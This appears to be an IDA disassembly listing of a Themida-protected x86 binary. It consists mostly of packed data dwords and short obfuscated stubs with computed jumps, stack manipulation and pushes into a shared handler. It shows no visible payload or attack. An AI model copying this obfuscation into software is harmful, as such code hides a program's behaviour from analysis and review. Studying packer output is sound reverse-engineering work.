		dd 0BA0D8672h, 7CBCCE74h, 4EBA0D86h, 0DA66EFF8h, 466979B3h
		dd 0E9C26F26h, 0BD96B8F0h, 0C060EA70h, 8571BE3Dh, 0B6AFEA88h
		dd 4477A562h, 2464A62Eh, 1EBA0D68h, 47635C35h, 0B5A2C405h
		dd 7195BEC0h, 60A6EF8Eh, 33D59CBFh, 0E85705AEh,	2242C3E0h
		dd 75000003h, 0A40F9BD2h, 0D37CCA8Fh, 5AEFCB5h,	359E2C69h
		dd 46CD5914h, 0F3BEDF33h, 276A0CB7h, 551C40E3h,	86CF6ED1h
		dd 446A400h, 0B607E704h, 0BA93B8FEh, 0D6AEEA1Ch, 16B0AF57h
		dd 0AF57D712h, 248747F0h, 0B3E44900h, 82CB69DAh, 1BAC0C1Dh
		dd 0A2E402B9h, 0B607E6B6h, 0D907A38Ch, 7E76BAFh, 0BAFE59B6h
		dd 5AEC0AB0h, 0B607E75Eh, 2AD0B24h, 359E2C61h, 62B9414h
		dd 5CDDE43h, 0B607E705h, 367B54FFh, 7E6EF34h, 0F67F1B6h
		dd 0D9A74F1Fh, 16FB68D7h, 1AF3ED64h, 3B72119Eh,	4A7FE8Dh
		dd 22A300F3h, 27Dh, 5AE0A9D0h, 951154F9h, 0C3470E2Ah, 33773260h
		dd 64A2EF90h, 1738DA9Fh, 0C363CC5Ah, 0F597388Eh, 0A6C56EBCh
		dd 19C35BEFh, 7E7ABEFh,	0F45399B6h, 0D80EB5E7h,	7E6BAAEh
		dd 2343ACB6h, 0E72119A3h, 48E3B607h, 1C37D95Fh,	20640EEh
		dd 0A1B607E7h, 3364C98Ch, 0B31098B3h, 7E76BABh,	3AC07B6h
		dd 6FC21BF7h, 1CCE214h,	0FF450000h, 5288155Ch, 169BD271h
		dd 690C9305h, 7519FA20h, 0A912F830h, 0F00AB00Bh, 0B5FFF58Dh
		dd 7D345477h, 0D7DF1F84h, 0CCB5FFF4h, 81B9E6ABh, 15C62398h
		dd 2F43A4B2h, 0D249C56Ah, 0F55EC251h, 0B6322E2Ch, 3DD51477h
		dd 6E000000h, 0D80EB5E7h, 7C3151B2h, 0B4B2E637h, 0B6000559h
		dd 0F9DA002Bh, 6CACDE5Ah, 56B60005h, 8E9F04FDh,	75B1B92Ah
		dd 11B60005h, 0DF9F9BAh, 0E81477F8h, 0C3h, 3D7011F2h, 2A71A7F0h
		dd 0BC3459BAh, 57D70E0Ah, 625BF4AFh, 0E34CEC3Dh, 0ADE08140h
		dd 0F13E1700h, 5989E375h, 39B1F8A0h, 91074978h,	83206D0Eh
		dd 26551567h, 0F79EE005h, 0F2261F5Ah, 0DA470E2Dh, 49EB2A49h
		dd 0B4ADE488h, 0C1453E6Fh, 5853DD07h, 0EEA7C6AFh, 0F64DEF58h
		dd 0F387B6D0h, 0D27DB602h, 0E7AACB34h, 0ED1F45A3h, 0B602F2ADh
		dd 0B37CBC97h, 9C29DF92h, 0FEF309B5h, 117443Dh,	0CF6A0000h
		dd 0F29F0086h, 0A8D073B7h, 54FAA5E1h, 92A9511h,	3879C644h
		dd 0B6F4B9DAh, 9A206D0Dh, 0D4521B39h, 581C86Bh,	901BBA1h
		dd 0FBB607E9h, 5EFF96BDh, 86699713h, 0A00FA9E4h, 8876B4FDh
		dd 0EB480127h, 0BA3D66B2h, 57F83559h, 0AB84951Ah, 0C855183Ah
		dd 0B7D659DFh, 4AE7C8FEh, 693AA90Fh, 396783CAh,	57D78B8Fh
		dd 5ADE79AFh, 5EE557F0h, 26C51EA8h, 94BFB600h, 0A6EF8D76h
		dd 62882079h, 2C6C9EC4h, 16B60027h, 1334FB3Dh, 0E91FB7D6h
		dd 971D6944h, 4D5EC3BCh, 0F034D654h, 0B3B60055h, 7B325190h
		dd 0DE0CE536h, 0EEB1709Ch, 0F6EBAD6Bh, 2D4D8525h, 6821447Bh
		dd 88F9D2CBh, 860CACE5h, 95B97C1Dh, 87C26FD0h, 8B28011Ah
		dd 483Ah, 30BA1D00h, 0C455CA25h, 42C55348h, 0BBD69D2h
		dd 0B608B45Bh, 0A10E29h, 2D96145Dh, 10DA470Eh, 0FBEF94BCh
		dd 0B8BF60D5h, 7F325495h, 0FC9F0086h, 9BB768B5h, 258E51DEh
		dd 9FD6757Ch, 0CC85A80Bh, 39E67h, 0B0B90000h, 1158FFCBh
		dd 3970138Ch, 40092BF4h, 6D2042E3h, 733E5FC0h, 99D4752Eh
		dd 0A2E78B14h, 0CD84A47Dh, 0D792BF60h, 8950FA4Ah, 405E0h
		dd 0E8830000h, 24048704h, 2404895Ch, 81E68956h,	4C6h, 4EE8300h
		dd 5C243487h, 51242C89h, 0C181E189h, 4,	8704E983h, 895C240Ch
		dd 0BA522434h, 6B00F81h, 148BD589h, 4C48324h, 24348B54h
		dd 4C481h, 8F550000h, 348B0846h, 0E3895324h, 4C381h, 0C3830000h
		dd 241C8704h, 242C8B5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		ror	dword ptr [ebp-4FEC2E48h], cl
		push	es
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 386FD709h, 0BB16A2h,	6C8B4C93h, 77E59785h, 47D24EE6h
		dd 4642C7ECh, 11456815h, 28CBD68Eh, 62076D4Eh, 481395Ah
		dd 530ECACDh, 8111393h,	49438C9Eh, 4A2BB5E6h, 16379CB7h
		dd 35CB8C72h, 64AE3C73h, 79BE9A28h, 0A9DFD4Ch, 730E4CD1h
		dd 5495939Fh, 54CCB80Eh, 1413A102h, 48320FF0h, 6FD77A73h
		dd 4F959426h, 15600EE5h, 32CDB870h, 13E8h, 0F3ECC400h
		dd 875D13B0h, 0F9DA0D25h, 62B2EFACh, 3AA94146h,	6E9h, 41292900h
		dd 5B6FA8AAh, 81CFBF0Fh, 7587C3h, 5E900h, 6BE70000h, 337C4E18h
		dd 0C0B70FD2h, 0E91A34FFh, 0Ah,	0E66F37E0h, 0B856A1F6h
		dd 665E2A91h, 3F46CF81h, 0C8E8EE81h, 840F1A08h,	6, 8A0Fh
		dd 0C6810000h, 0A0C9160h, 0EE81F88Bh, 767A8F1h,	13E8h
		dd 0A9F9D100h, 0F3A3E6C2h, 0DF77A139h, 2CA0FC0Dh, 0B3F74E15h
		dd 34895FFCh, 5AB9F513h, 835DB721h, 8B6602EAh, 0F4A4AC3h
		dd 0FA81FBB7h, 0FFFF8B24h, 0FF8E850Fh, 0CF81FFFFh, 1C5D7F1Bh
		dd 1AE9h, 748B9400h, 18h, 4 dup(0)
		dd 0E9000000h, 4D7h, 36743D5Ch,	61A5E08Dh, 57D39ABEh, 870346ECh
		dd 0F0367B1Ch, 0ABCC466Bh, 5FFFA0E6h, 92B9412h,	3A59FA40h
		dd 0B5B73773h, 7EC1713h, 80AFEDB6h, 0F1155CFFh,	0FEA4F67h
		dd 0F4249C95h, 0A0ED8E17h, 5B9AB91Ah, 0FB2C7138h, 61049D02h
		dd 751A8B28h, 0DA00F330h, 8F1459F9h, 0A11A9Eh, 0F7135AF9h
		dd 0F721680Ch, 0CB82A20Dh, 0F9B0D47Fh, 94CE2CDh, 462573A4h
		dd 0B3F0BDDDh, 979E07ACh, 0C56EBCF5h, 0B842EFA6h, 0AF58517Dh
		dd 4B47E8CFh, 12DFAC5Fh, 8BBEh,	5CFF8100h, 6FB4F19Dh, 1ED8453Eh
		dd 0AF57D718h, 0E0AC7562h, 0D70800BAh, 0ACDEAF57h, 0AF57D76Ch
		dd 42EDFD56h, 0D65642D6h, 1B112DFh, 8A000000h, 0F31752FFh
		dd 0D6F73355h, 0E5C5AF57h, 0DD15955Eh, 0AF0922A4h, 6ACE633Ch
		dd 85FCFB7Eh, 0F63B14E9h, 0A644012Dh, 0D2ACFE78h, 502EC1AAh
		dd 58BF72B6h, 0B1E750AFh, 793C51D2h, 84CD6B34h,	0AFE6861Fh
		dd 0CDE62902h, 75305D64h, 9706FF28h, 0D9767D26h, 0FFE00E9Ch
		dd 1A85135Eh, 0CFF4327Bh, 8E135EFFh, 0F03D7815h, 7D8F0F2Fh
		dd 0AF57D73Dh, 0EE332C07h, 0D15E1735h, 7DFCA50Eh, 0B4F8B912h
		dd 0D6BCFC0Eh, 0AD86AF57h, 4683A40Bh, 2B7F6825h, 7ACE588h
		dd 6EB3FA9Eh, 54D994B5h, 0E6CE78A2h, 0A001B872h, 0AC6AB7F2h
		dd 812FAE77h, 6D89892Ah, 6812DF8Ah, 68h, 135EFFB3h, 3A73158Eh
		dd 41082CF5h, 682143DCh, 6AF04CBh, 0EEB72477h, 0BF0B46E7h
		dd 0F13E7314h, 0AECF0230h, 0B96DBEE3h, 57D70B0Fh, 655EF9AFh
		dd 32F35838h, 0DFD4C420h, 75C312h, 0BA640000h, 0D6AEEA1Ch
		dd 0BB94AF57h, 0DC91B27Dh, 6FAECE57h, 256C0CCDh, 0DDB6AFF8h
		dd 0EA4B2050h, 0BEE42E3h, 0EDC24B86h, 5227851h,	0F31752FFh
		dd 5CE10355h, 60CCD191h, 582162A6h, 0C6C204AFh,	0BCAF5820h
		dd 93355393h, 0AF582197h, 4FE9C26Dh, 211B1ADCh,	7B61AF58h
		dd 7DBBF698h, 211D1D86h, 0EC12DF9Ch, 0BA7CBC6Ah, 71D2A843h
		dd 21B98DDh, 16496h, 0FFBF0000h, 4CEA1059h, 57D6FE3Ah
		dd 0C885A5AFh, 289B1D36h, 109DD477h, 7FA4ED8Fh,	0D76159E3h
		dd 823AF57h, 77BCF597h,	0D75951EBh, 2BAF57h, 444BD4C1h
		dd 0E8C16E23h, 3AFBD0FFh, 0CE5C1533h, 4664DF7Dh, 0FFE3A504h
		dd 6FB49FB5h, 325697B6h, 9B04827Bh, 521B39F8h, 971C51F1h
		dd 0C600AD86h, 0B5FFE3C0h, 0F7FEA70Ch, 26891D54h, 5E14E07h
		dd 0DF0E9FF3h, 6DCB192Ch, 45EAA3C2h, 0C1C869C2h, 0FF5FEBA2h
		dd 14772B03h, 11CEAh, 0B5E73D00h, 23AED80Eh, 0E1B60007h
		dd 1538E936h, 0B6FBBED4h, 0DD1F6D65h, 9B3EFC5Fh, 7CFE64A2h
		dd 2A8D1ACDh, 0C06FC998h, 0CD36D49Dh, 0D4B7E1ACh, 0CC89A50Eh
		dd 3DE23667h, 47CA571Eh, 0DD7B45EEh, 556FABh, 0BEFA55B6h
		dd 8F1B52F1h, 77A8332Fh, 4FDA14h, 0E76D0000h, 0ADDF0BB6h
		dd 2F57D74Dh, 57971C37h, 2F57D753h, 39662350h, 0D79F9B2Dh
		dd 0CA652F57h, 29763F59h, 0EE6D366Dh, 73723368h, 394367C2h
		dd 0AF57D6E1h, 0EB2F5987h, 0D9AF57D6h, 3B143A7Eh, 0C100248Fh
		dd 5344E9ACh, 0CB543E7Ah, 79h, 0EB5E7EEh, 0F938B2D8h, 0A5D279B5h
		dd 5E313761h, 24B6007Bh, 5EFDA60Bh, 0D309317h, 0A003DF44h
		dd 3556B7F2h, 0ED363078h, 59B6007Bh, 0ABCAD152h, 0B1E3A4E2h
		dd 7C8585C7h, 0D47FB600h, 0FDBDCFFBh, 0E3BCB091h, 8A175200h
		dd 5EF90791h, 642D50D1h, 1293383Fh, 0FC92A113h,	8BAB74B9h
		dd 574059C6h, 7A3E487Eh, 6CC360A7h, 1AEE383h, 330DE28h
		dd 0D726E2Eh, 7CCA65ABh, 3F59BA57h, 37652276h, 4D1C5E8Ch
		dd 9C2C0D2Eh, 45876DCBh, 0B60866C5h, 0D30F94BFh, 9D024FF0h
		dd 0E0832C8Ch, 93B21DA9h, 0CC9555DAh, 0E5D4CCF8h, 85A8AF70h
		dd 0B6D57ECCh, 5DF1B2FFh, 7F549B18h, 0C58CAFB6h, 0F6BFDE41h
		dd 0AC17BDA9h, 0FF3BC386h, 0C5D4CCF8h, 341CE6Ah, 64000000h
		dd 58FFCBB0h, 70138C11h, 92BF439h, 2042E340h, 3E5FC06Dh
		dd 0D4752E73h, 0E78B1499h, 84A47DA2h, 92BF60CDh, 68FA4AD7h
		dd 356Bh, 68240C89h, 4271h, 68240489h, 5F71h, 68243489h
		dd 3C15h, 0BD242C89h, 43680780h, 480E23B8h, 5DE801C3h
		dd 4EC81h, 24890000h, 24048124h, 4, 8BA525Eh, 81000000h
		dd 7A7699EAh, 81F2016Fh, 7A7699C2h, 5A02896Fh, 5324348Bh
		dd 0C381E389h, 4, 8704C383h, 8B5C241Ch,	89512404h, 4C181E1h
		dd 81000000h, 4C1h, 240C8700h, 6348E95Ch, 0B859FFF8h, 6B019F6h
		dd 0E0FFC503h, 7F73DF16h, 38CC2992h, 648ABF10h,	7E3EF39Ah
		dd 3AD5097h, 665E5CC2h,	56CD2B14h, 79EFF005h, 2BC988A0h
		dd 2250C6DFh, 514F0A7Ch, 1B308D8Dh, 8D8906B0h, 6A805B9h
		dd 8286EB81h, 85C7172Fh, 6A81469h, 6D64h, 0D079BE66h, 3451858Bh
		dd 85C706A8h, 6A80BBDh,	0
; ---------------------------------------------------------------------------
		jo	loc_5CB4F6
		mov	di, 9D39h


loc_5CB4F6:				; CODE XREF: Themida_:005CB4ECj
		push	dword ptr [ebp+6A8298Dh]
		mov	[ebp+6A81411h],	edi
		call	dword ptr [ebp+6A820DDh]
		push	0
		push	ebp
		call	sub_5CB513
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB513	proc near		; CODE XREF: Themida_:005CB50Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5CB513	endp

; ---------------------------------------------------------------------------
		push	0E0373B52h
		cmp	[eax], eax
		sub	[ebp+6A8149Dh],	ebx
		mov	[ebp+6A825D9h],	edi
		push	0
		call	dword ptr [ebp+6A81B31h]
		mov	eax, eax
		jmp	short loc_5CB59B
; ---------------------------------------------------------------------------
		dw 20B3h
		dd 0ADD1EA2Bh, 45D7A44Ch, 0BBFE7529h, 0C5961F40h, 95FFFBD4h
		dd 0B272E460h, 9E9C7087h, 491B97B9h, 59367427h,	95A8252h
		dd 0D91F29EFh, 60ADFD2Bh, 0F117660Ch, 0ECF46404h, 0E8058C43h
		dd 0BDEC4E88h, 0D9BC0D1Fh, 8304169Ah, 9C61F7BCh, 0A42B3AD9h
		dd 9D641B84h
		db 5Ah,	7Ah, 85h
; ---------------------------------------------------------------------------


loc_5CB59B:				; CODE XREF: Themida_:005CB540j
		jmp	loc_5CB5C9
; ---------------------------------------------------------------------------
		dd 40D06E13h, 9	dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5CB5C9:				; CODE XREF: Themida_:loc_5CB59Bj
		jmp	loc_5CBB88
; ---------------------------------------------------------------------------
		dw 1B3Eh
		dd 0C66BD452h, 0FC9C0783h, 0A0CE71B5h, 5DFEA1E5h, 6C0D8A10h
		dd 72C885A6h, 0AEFCB1D1h, 982E6705h, 0C95D1437h, 3D7D8F5Dh
		dd 7B607F2h, 5CFF5AC1h,	1C55F7D8h, 57D6B6F2h, 7A38CAFh
		dd 57D6C5C5h, 0BB94BFAFh, 0C18CAD76h, 0D095BA25h, 0FFB6D253h
		dd 87289206h, 23BB4CE4h, 0E7FFB6D2h, 0C7B0F121h, 0F84A8C5Ah
		dd 22E86665h, 0DF7E2177h, 0E8E56A77h, 413A3D9Bh, 6B2E43DCh
		dd 35FE6FC6h, 0C0460F2Eh, 5CFC3D5Fh, 0EE3C15h, 1B3BFE9Fh
		dd 0E7D0C956h, 8F4EEEB1h, 0CC7EA3EEh, 0C3B67BC8h, 87952CFh
		dd 96342D64h, 1DDADE68h, 6EA8AF58h, 0D64D690Dh,	2C8C65B8h
		dd 2D29A3BFh, 692A2D85h, 9EC06FC9h, 228B4ED3h, 77913F81h
		dd 0AF588433h, 1D82CF70h, 0C751FA0Ch, 59F53458h, 79E7231Ch
		dd 21C431FFh, 0DABE70Ch, 204283A2h, 2F2F746Dh, 0AF5805E8h
		dd 7C8E3452h, 0AF58063Ch, 108B2D06h, 0F997838Fh, 7F7612DFh
		dd 8000000h, 66CB86A7h,	0F8D19CBDh, 1280B8C2h, 0E942AF58h
		dd 5CFF644Fh, 484E8815h, 5BAF57D7h, 732C7138h, 9B179CD5h
		dd 7AF4832Ch, 0CAA6B47Dh, 2D12DFD6h, 1,	0DA52FFF6h, 0EB135AF9h
		dd 0AF57D6AFh, 0D71317B1h, 46F1AF57h, 6DB2AB84h, 55DA9FB4h
		dd 0C602A6CCh, 0D624B4F0h, 0A0821152h, 5B1ABC56h, 0C5324462h
		dd 19CBB563h, 0E4F906Ah, 0BF16200Fh, 0B22B8A79h, 45EAF1h
		dd 337A19BAh, 59BAC8F7h, 78277134h, 8C159AD7h, 0BA7DA2E7h
		dd 0E3CC9011h, 1AE0A4Fh, 36992D60h, 2A85E17h, 57D6C0F8h
		dd 38A982AFh, 0C3D45910h, 0B2DF655h, 0E17BDD42h, 81175EFEh
		dd 99C7892Ah, 57D72B6Fh, 0FA3E19AFh, 0DFD4B23Eh, 7D12FD12h
		dd 6A42F038h, 0E5000000h, 0F7135EFFh, 0F622670Ch, 2DEC8C15h
		dd 0C06D460Fh, 7537F86Dh, 5F9B1FE3h, 45D3D644h,	0DA7CB9DAh
		dd 0C768BE97h, 0DD46EBA6h, 0F6AFF4B1h, 0B8FD9154h, 0ADC162CFh
		dd 2F844BE8h, 0C2A9F786h, 94955161h, 43B012DFh,	4A000000h
		dd 219E9A2Ch, 0CB64AF58h, 5EFF466Dh, 77158E13h,	0D4DFF13Eh
		dd 6E23444Bh, 0BDD132D8h, 3662BBF8h, 3959BAEDh,	0BAFE2F74h
		dd 0F49558F5h, 9B63C0B9h, 0AF57D79Ch, 2A2889EEh, 12DFD63Eh
		dd 1D9h, 59FF6200h, 73129310h, 2872F53Ah, 4CECA5C7h, 21474ED7h
		dd 0CB69D268h, 0CB694A70h, 0A6CC1682h, 0D357A354h, 0F65708C8h
		dd 86971C59h, 0F175D412h, 294FB5FFh, 0FFF19B9Fh, 18CE69B5h
		dd 0FFF0AAEEh, 0C6BF98B5h, 0ECA5C859h, 2E4FB05Eh, 0CB6A3563h
		dd 0DBDD1D82h, 0C8B5FFF0h, 0DB44E9A0h, 0A8AFF4BDh, 5D13A203h
		dd 2083CD56h, 3DE23673h, 35D3571Eh, 0BFE4A9CAh,	0C665CA6Eh
		dd 0E281228Fh, 2A8306ABh, 22E38289h, 0CA50490Ch, 4444862Ch
		dd 3EB5FFF1h, 5357F115h, 31B5FFF1h, 2A069206h, 0E51477CCh
		dd 0FD0D0DBFh, 5CF7B5FFh, 0FD1C1CAEh, 4DE6B5FFh, 13629EBh
		dd 0E7F20000h, 0B2D80EB5h, 57D71008h, 0DF59F2AFh, 6404EF15h
		dd 5F97802Dh, 83D32AA3h, 408612BAh, 0B6006301h,	5ACB68C3h
		dd 6B54723Bh, 11A87CAh,	0E3822D97h, 0F99C05AAh,	76AC73B0h
		dd 3A0ED8Dh, 8C158E2Ah,	1BAFE685h, 775AC7B3h, 632614h
		dd 0BAF90000h, 23753859h, 52883364h, 3C7C8E34h,	6AF57D7h
		dd 1D7D8B2Dh, 0E72F57D7h, 2367E74Ch, 802F57D7h,	327B1DDCh
		dd 5EC3BCEDh, 44E9A4C5h, 8872885h, 9D8C1582h, 7A65813Ch
		dd 1F0895D8h, 0D1295399h, 0B3AF57D6h, 8DAB6E10h, 554E5FC4h
		dd 9AC02E7Ch, 57D72860h, 99B91AAFh, 0D2BDFBD4h,	84h, 0EB5E7F5h
		dd 0ACFAED8h, 9AB5B600h, 0A0E98C15h, 5B9AB91Ah,	0FB2C7138h
		dd 7EA3EA8Ah, 73EF342Dh, 0E2EE390h, 0E8C16E47h,	0C7D8640h
		dd 0E2C9B600h, 0B31B3A41h, 739761E7h, 9D290289h, 9BB98A2Ah
		dd 9E773E5Ah, 0FB2F1811h, 0B07FD841h, 6581AABCh, 692DB7Ah
		dd 1059FCA5h, 0BE674C93h, 0F63254F2h, 0CCBCB07Fh, 0C2723563h
		dd 0F9274D79h, 0B0804B4Fh, 239F31BCh, 84D2F5DFh, 0B94FE942h
		dd 0C3603610h, 0E6CD59F2h, 0D80EB5E7h, 7F2F9AEh, 0BA60CBB6h
		dd 0F2AEEA1Ch, 0BB94B607h, 6F508E7Dh, 8E1187C2h, 0DA00A6EFh
		dd 8C1154F9h, 0F337739Bh, 220DB607h, 94E60CF6h,	8D35B145h
		dd 238C2C2Eh, 62E44900h, 0FC690F09h, 6FB4F99Ah,	355697B6h
		dd 9E23B78h, 1257FBA4h,	813E9C8Dh, 0A9029120h, 2B620108h
		dd 0F67E14FFh, 690F5454h, 2C052EFCh, 0B8029687h, 99DC7152h
		dd 782DE214h, 0B4E1252Dh, 0B3D25DDBh, 46ECB5FAh, 725B9E03h
		dd 0C28BAAB1h, 0F1B8DB44h, 2044AFD5h, 2BD3C469h, 0FC690BEFh
		dd 4D3E7AD5h, 0DF4h, 59BAD700h,	0FE2F7439h, 73A5E08Dh
		dd 58FF78E3h, 70138C11h, 92BF439h, 2042E340h, 3E5FC06Dh
		dd 0D4752E73h, 0E78B1499h, 84A47DA2h, 92BF60CDh, 57FA4AD7h
		dd 0C781E789h, 4, 4B951h, 0CF290000h, 243C8759h, 0E789575Ch
		dd 4C781h, 0EF830000h, 243C8704h, 2434895Ch, 5D268h, 243C8900h
		dd 4D97B850h, 0B9513B24h, 10F437Dh, 0A399D3BEh,	59CE293Eh
		dd 5458C631h, 81243C8Bh, 4C4h, 4EC8100h, 89000000h, 8B82404h
		dd 1000000h, 583089F8h,	57243C8Bh, 0C781E789h, 4, 4C781h
		dd 3C870000h, 348B5C24h, 0E1895124h, 4C181h, 0C1830000h
		dd 240C8704h, 5C4CE95Ch, 4863FFF8h, 9017CF4Bh
; ---------------------------------------------------------------------------


loc_5CBB88:				; CODE XREF: Themida_:loc_5CB5C9j
		mov	eax, 6B020E2h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0Fh,	11h, 82h
		dd 195B5D75h, 92DBEB13h, 8ED6CC63h, 77697403h, 7504553h
		dd 0A740A82Dh, 5161503Eh, 0FF321B5Ah, 0D6CA604Ch, 0F9B3EA23h
		dd 5E0FB833h, 7A54353Fh, 0F4E65E0Ah, 99EA7968h,	8CBBBF3Fh
		dd 5AFDEB10h, 4FFCE67Ch, 0E1113A5Fh, 2585223Ah,	5F085765h
		dd 94EB3526h, 3F4BF355h, 9099AB58h, 0FFB7ED5Ah,	3C866659h
		dd 3F3D9626h, 3CB58E13h, 26E96Eh, 9E4A0000h, 74521C2Fh
		dd 6C6C416Ch, 7461636Fh, 61654865h, 70h, 14h, 3	dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5CCE63
; ---------------------------------------------------------------------------
		push	6B02417h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6B02540h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6B027DEh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6B028B3h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6B02C8Ah
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6B02D32h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6B02D71h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6B02E63h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6B02F50h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6B02FEDh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6B0316Dh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6B032B8h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		db 63h,	0C4h, 8Dh
; ---------------------------------------------------------------------------
		cmp	[esi-3A914307h], edx
		mov	ds:5FF35CEAh, eax
		sbb	cl, [ebx+7CFB4F02h]
		cmp	eax, 0ADF9B4D5h
		add	ah, [eax+2Dh]
		cdq
		db	36h
		push	ss
		pop	edi
		retf
; ---------------------------------------------------------------------------
		db 68h
		dd 0AE3E8CC5h, 0F90E0ABCh, 0B6F4B607h, 155CFF89h, 3D741788h
		dd 0A50D2FF0h, 1C0F844Fh, 5DC2BB7Bh, 6970319Ah,	20690BCAh
		dd 15B1AA83h, 7F52C3h, 316722D8h, 0A47E84Bh, 397013BCh
		dd 41082BF4h, 57F11FC5h, 0AF58CB53h, 0ACE731h, 9BC4FCAAh
		dd 3B176A2h, 95F802B8h,	6FB60046h, 9BBD26C4h, 0DC5C4DD2h
		dd 45A7EF6Fh, 68C3B600h, 0BDDFCBC7h, 0C4161477h, 9EFE8680h
		dd 0A8CC3D48h, 2085B7E1h, 9E000000h, 0D80EB5E7h, 54FAEh
		dd 951A35B6h, 55155h, 1D866DB6h, 77F8211Dh, 0F4C414h, 0BA5F0000h
		dd 0DC95B31Ch, 57D6F632h, 5A5EE8AFh, 28AF57D7h,	0BBDCFF0Fh
		dd 149B1DF6h, 0C38EB071h, 0CF544D5Eh, 42783556h, 5B4C1B08h
		dd 3D5D9C46h, 0B2118770h, 961B52F1h, 83276E0Dh,	0E3357C20h
		dd 6E10F319h, 0BADFE23h, 585598FDh, 0C0C4EAFh, 503F4A43h
		dd 0B6D55ADEh, 40E8CBFFh, 0BA8ED81h, 0A3F43912h, 1248F75h
		dd 0F222EB48h, 0E06B9D49h, 0A2B600A4h, 0BB2C6101h, 0ACFAD396h
		dd 0E402B91Bh, 0E1F75BFBh, 737891DAh, 0A8812E07h, 53BCDA00h
		dd 0E4357A3Fh, 1C1EB2B4h, 4BE4BCABh, 5E13349Fh,	46C667C8h
		dd 0AB1C0404h, 7C55FEBCh, 619F884Ch, 0DAAB08ECh, 0F99h
		dd 0B20841E8h, 0ED397C11h, 0DB6F2642h, 0B9FDA78h, 7CCA87A8h
		dd 2F50C2F7h, 0DB7B2462h, 8DAF1096h, 0BEDD46C4h, 312BB3F7h
		dd 7FB9397h, 0C2B71B6h,	97135EFFh, 0A4C8092Ch, 7E5740EDh
		dd 0B5E70328h, 0A9ED80Eh, 61414881h, 749258D0h,	44C016E2h
		dd 781A7F5Ch, 913AE624h, 0BE48E0D9h, 0B6008A5Fh, 233AF701h
		dd 2E978F38h, 0D426448Ah, 0F8B739C7h, 3B7F8782h, 9B6006Ah
		dd 72E8352Eh, 7EBAF391h, 69ACE8h, 0C263C8B6h, 7745C4B0h
		dd 0AC10B14h, 8B654855h, 0B9F093F4h, 47F52374h,	0CCh, 5149F319h
		dd 33B60062h, 0CCA5EC90h, 5CFF476Ch, 14B2FB9Dh,	57D6B6F2h
		dd 0CAA38CAFh, 0D69BBC65h, 0DC648149h, 1C3FAF57h, 9427B155h
		dd 30BBC2FAh, 8E74DE5Ah, 0E4490425h, 9BBA65B3h,	68CC4DD2h
		dd 469537D3h, 3CB600C5h, 6A0CF713h, 5A1FA27h, 0C4C7C3h
		dd 692BDB6h, 12A90BBCh,	63ED52F4h, 79F3BCABh, 374F8C0Fh
		dd 0B9F10B81h, 8BBCAB6Bh, 0DF61B7A0h, 0CC6D5674h, 0F99A0581h
		dd 4FCA14B4h, 0E9CAEC61h, 0E7018h, 0D198BF00h, 45EA55h
		dd 367F19BAh, 66234FF0h, 93DE7F20h, 29E98817h, 5EC14508h
		dd 8A35713Ch, 0BC67A3EAh, 0D24AD099h, 0FBBAFE08h, 4288B607h
		dd 0EA1CBAE5h, 0AF57D6AEh, 0B27DBB94h, 0E54EDC91h, 9CBB0F46h
		dd 0AED85CFFh, 0AF57D76Ah, 9DD47758h, 352E0710h, 400D2E91h
		dd 3F59CAE3h, 0E0412276h, 54B6F4BDh, 0AF57D750h, 2D793053h
		dd 5AAE382h, 73B0F99Ch,	52DF96B2h, 0B5FAB3D1h, 930247ECh
		dd 97FA793Ah, 0CF6E753Eh, 0B8940086h, 5F12DFD6h, 0D4h
		dd 0EB5E7E0h, 0FD43AED8h, 0BA25B5FFh, 904ED39Ah, 0FFFD3276h
		dd 4E2710B5h, 0A60B24EAh, 7E3B57B8h, 0FCE82C3Ah, 99BBB5FFh
		dd 0B2D253D0h, 6EDFB6FBh, 1EA36C5h, 14B6DCA0h, 0B5FFFD14h
		dd 47D345EEh, 1477F46Bh, 8BB2h,	9C2E5400h, 0B600059Ch
		dd 406BCD66h, 0AEEA1CBAh, 94AF57D6h, 0ACEB7DBBh, 0EFAF57D6h
		dd 0B6D0F64Dh, 0B5FFE3FFh, 73DC6AC5h, 89129FD2h, 0E06A902Bh
		dd 49E6BE0h, 0AE6372DCh, 396AF8F2h, 345AF09h, 0BCA8DC08h
		dd 6AD551FAh, 0C01E83CAh, 0DF089FB6h, 0C270D459h, 1D3DAE87h
		dd 5EDAD350h, 91316BC9h, 5FEEC1A8h, 3177416Ch, 0F8D16842h
		dd 0A6A1DB0Fh, 0B8C35194h, 0BC52BE3Eh, 0C9FBFDFh, 9153AB64h
		dd 46882015h, 0B2D659EDh, 0F1000009h, 0D80EB5E7h, 0DFC6C89Eh
		dd 7DAEF3BEh, 8F96F065h, 8EB9C329h, 50B60083h, 8398902Ah
		dd 496AB600h, 0EC3D622Bh, 389BA5F3h, 0C6D75C15h, 968FC665h
		dd 82C5C109h, 0BCDEB600h, 0E93DA79h, 26FF241Dh,	0AEE24F06h
		dd 53DD5CC5h, 4F3B37F8h, 0AE14777Eh, 0Dh, 0D75EA671h, 7CCDAF57h
		dd 0FFFFFBC5h, 7D30BA5Fh, 73EFD69h, 86CB6CDDh, 1FA80019h
